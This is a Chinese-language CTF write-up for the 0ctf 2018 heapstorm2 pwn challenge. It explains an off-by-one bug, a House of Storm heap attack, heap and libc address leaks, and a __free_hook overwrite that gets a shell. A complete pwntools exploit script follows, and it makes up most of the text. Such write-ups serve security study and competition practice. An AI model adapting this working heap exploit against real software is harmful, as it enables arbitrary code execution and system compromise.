0ctf2018 pwn heapstorm2 writeup

一道构思巧妙的题。靶机环境是glibc-2.24。

源程序下载:http://file.eonew.cn/ctf/pwn/heapstorm2.zip

安全防护

ex@Ex:~/test$ checksec heapstorm2
[*] '/home/ex/test/heapstorm2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

溢出点

Update存在off by one

int __fastcall Update(struc_1 *a1)
{
  struc_1 *v2; // ST18_8
  char *v3; // rax
  signed int v4; // [rsp+10h] [rbp-20h]
  int v5; // [rsp+14h] [rbp-1Ch]

  printf("Index: ");
  v4 = get_long();
  if ( v4 < 0 || v4 > 15 || !sub_BCC((__int64)a1, a1[v4 + 2].calloc_ptr) )
    return puts("Invalid Index");
  printf("Size: ");
  v5 = get_long();
  if ( v5 <= 0 || v5 > (unsigned __int64)(sub_BCC((__int64)a1, a1[v4 + 2].calloc_ptr) - 12) )
    return puts("Invalid Size");
  printf("Content: ");
  v2 = (struc_1 *)sub_BB0(a1, a1[v4 + 2LL].size);
  read_n((__int64)v2, v5);
  v3 = (char *)v2 + v5;
  *(_QWORD *)v3 = 0x524F545350414548LL;
  *((_DWORD *)v3 + 2) = 0x49495F4D;
  v3[12] = 0;
  return printf("Chunk %d Updated\n", (unsigned int)v4);
}

思路

  1. House of Strom
  2. 泄露地址

House of Strom

构造House of Strom来控制,0x13370800-16。

Allocate(0x18)
Allocate(0x18)
Allocate(0x18)

Allocate(0x18)
Allocate(0x488)
Allocate(0xf8)

Allocate(0x18)
Allocate(0x488)
Allocate(0xf8)

Allocate(0x18)

Delete(4)
Update(3, 0x18 - 12, 'a' * (0x18 - 12))
Allocate(0x18)
Allocate(0x3d8) # 10
Delete(4)
Delete(5)
Allocate(0x588) # 4

Delete(7)
Update(6, 0x18 - 12, 'a' * (0x18 - 12))
Allocate(0x28) # 5
Allocate(0x3c8) # 7
Delete(5)
Delete(8)

Allocate(0x28) # 5
Allocate(0x558) # 8

Delete(4)
Allocate(0x18) # 4
Delete(8)

Allocate(0x568)
Delete(8)

Allocate(0x568)
Delete(8)

Delete(1)
Delete(2)

Update(10, 0x10, p64(0) + p64(0x13370800-16 - 0x10))
Update(7, 0x20, p64(0) + p64(0x13370800-16 - 8) + p64(0) + p64(0x13370800-16 - 0x28 - 5))

Allocate(0x48) # 1

泄露地址

这里就有点难度,要读出calloc_ptrsize,首先要知道程序进行异或的值,否则即使控制了0x13370800,由于我们不知道原先的异或值,所以泄露信息也无从下手,由于程序被设计的相当好,使得我们可以在刚好不破坏原有结构体的情况下恢复原有的异或值。

  *(_QWORD *)v3 = 0x524F545350414548LL;
  *((_DWORD *)v3 + 2) = 0x49495F4D;

原本可以编辑的长度是不够的,但在Update函数中,会对后面12字节写入固定的值,因为我们已经知道该值,所以可以直接用该值进行异或,就可以控制该值。

Update(1, 0x3c, 'b' * 0x10 + p64(0) + p64(0x5041454800000000) + p64(0) + p64(0x13377331) + p64(0x13370850) + p32(0x100))

View(0)
result = sh.recvn(0x100)
print hexdump(result)
heap_addr =( u64(result[:8]) ^ u64(result[0x90: 0x90 + 8])) & 0xFFFFFFFFFFFFF000
log.success('heap_addr: ' + hex(heap_addr))

Update(0, 0x10, p64(heap_addr + 0xb0) + p32(0x20) + p32(0x50414548))

View(3)
main_arena_addr = u64(sh.recvn(8)) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - 0x387b00
log.success('libc_addr: ' + hex(libc_addr))

Update(0, 0x10, p64(libc_addr + libc.symbols['__free_hook']) + p32(0x20) + p32(0x50414548))
Update(3, 8, p64(libc_addr + libc.symbols['system']))

Update(0, 0x10, p64(libc_addr + libc.symbols['__free_hook'] - 8) + p32(0x20) + p32(0x50414548))
Update(3, 0x10, '/bin/sh\0' + p64(libc_addr + libc.symbols['system']))

Delete(3)

完整脚本

受随机化影响,概率是1/3,由于为了方便,使用的是我自己编译的glibc。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = "amd64"
# context.arch = "i386"
# context.log_level = 'debug'
execve_file = './heapstorm2'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
elf = ELF(execve_file)
libc = ELF('/glibc/glibc-2.24/debug_x64/lib/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *$rebase(0x11D2)
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def Allocate(size):
    sh.sendlineafter('Command: ', '1')
    sh.sendlineafter('Size: ', str(size))

def Update(index, size, content):
    sh.sendlineafter('Command: ', '2')
    sh.sendlineafter('Index: ', str(index))
    sh.sendlineafter('Size: ', str(size))
    sh.sendafter('Content: ', content)

def Delete(index):
    sh.sendlineafter('Command: ', '3')
    sh.sendlineafter('Index: ', str(index))

def View(index):
    sh.sendlineafter('Command: ', '4')
    sh.sendlineafter('Index: ', str(index))
    sh.recvuntil(']: ')

# pause()
Allocate(0x18)
Allocate(0x18)
Allocate(0x18)

Allocate(0x18)
Allocate(0x488)
Allocate(0xf8)

Allocate(0x18)
Allocate(0x488)
Allocate(0xf8)

Allocate(0x18)

Delete(4)
Update(3, 0x18 - 12, 'a' * (0x18 - 12))
Allocate(0x18)
Allocate(0x3d8) # 10
Delete(4)
Delete(5)
Allocate(0x588) # 4

Delete(7)
Update(6, 0x18 - 12, 'a' * (0x18 - 12))
Allocate(0x28) # 5
Allocate(0x3c8) # 7
Delete(5)
Delete(8)

Allocate(0x28) # 5
Allocate(0x558) # 8

Delete(4)
Allocate(0x18) # 4
Delete(8)

Allocate(0x568)
Delete(8)

Allocate(0x568)
Delete(8)

Delete(1)
Delete(2)

Update(10, 0x10, p64(0) + p64(0x13370800-16 - 0x10))
Update(7, 0x20, p64(0) + p64(0x13370800-16 - 8) + p64(0) + p64(0x13370800-16 - 0x28 - 5))

Allocate(0x48) # 1

Update(1, 0x3c, 'b' * 0x10 + p64(0) + p64(0x5041454800000000) + p64(0) + p64(0x13377331) + p64(0x13370850) + p32(0x100))

View(0)
result = sh.recvn(0x100)
print hexdump(result)
heap_addr =( u64(result[:8]) ^ u64(result[0x90: 0x90 + 8])) & 0xFFFFFFFFFFFFF000
log.success('heap_addr: ' + hex(heap_addr))

Update(0, 0x10, p64(heap_addr + 0xb0) + p32(0x20) + p32(0x50414548))

View(3)
main_arena_addr = u64(sh.recvn(8)) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - 0x387b00
log.success('libc_addr: ' + hex(libc_addr))

Update(0, 0x10, p64(libc_addr + libc.symbols['__free_hook']) + p32(0x20) + p32(0x50414548))
Update(3, 8, p64(libc_addr + libc.symbols['system']))

Update(0, 0x10, p64(libc_addr + libc.symbols['__free_hook'] - 8) + p32(0x20) + p32(0x50414548))
Update(3, 0x10, '/bin/sh\0' + p64(libc_addr + libc.symbols['system']))

Delete(3)

sh.interactive()
clear()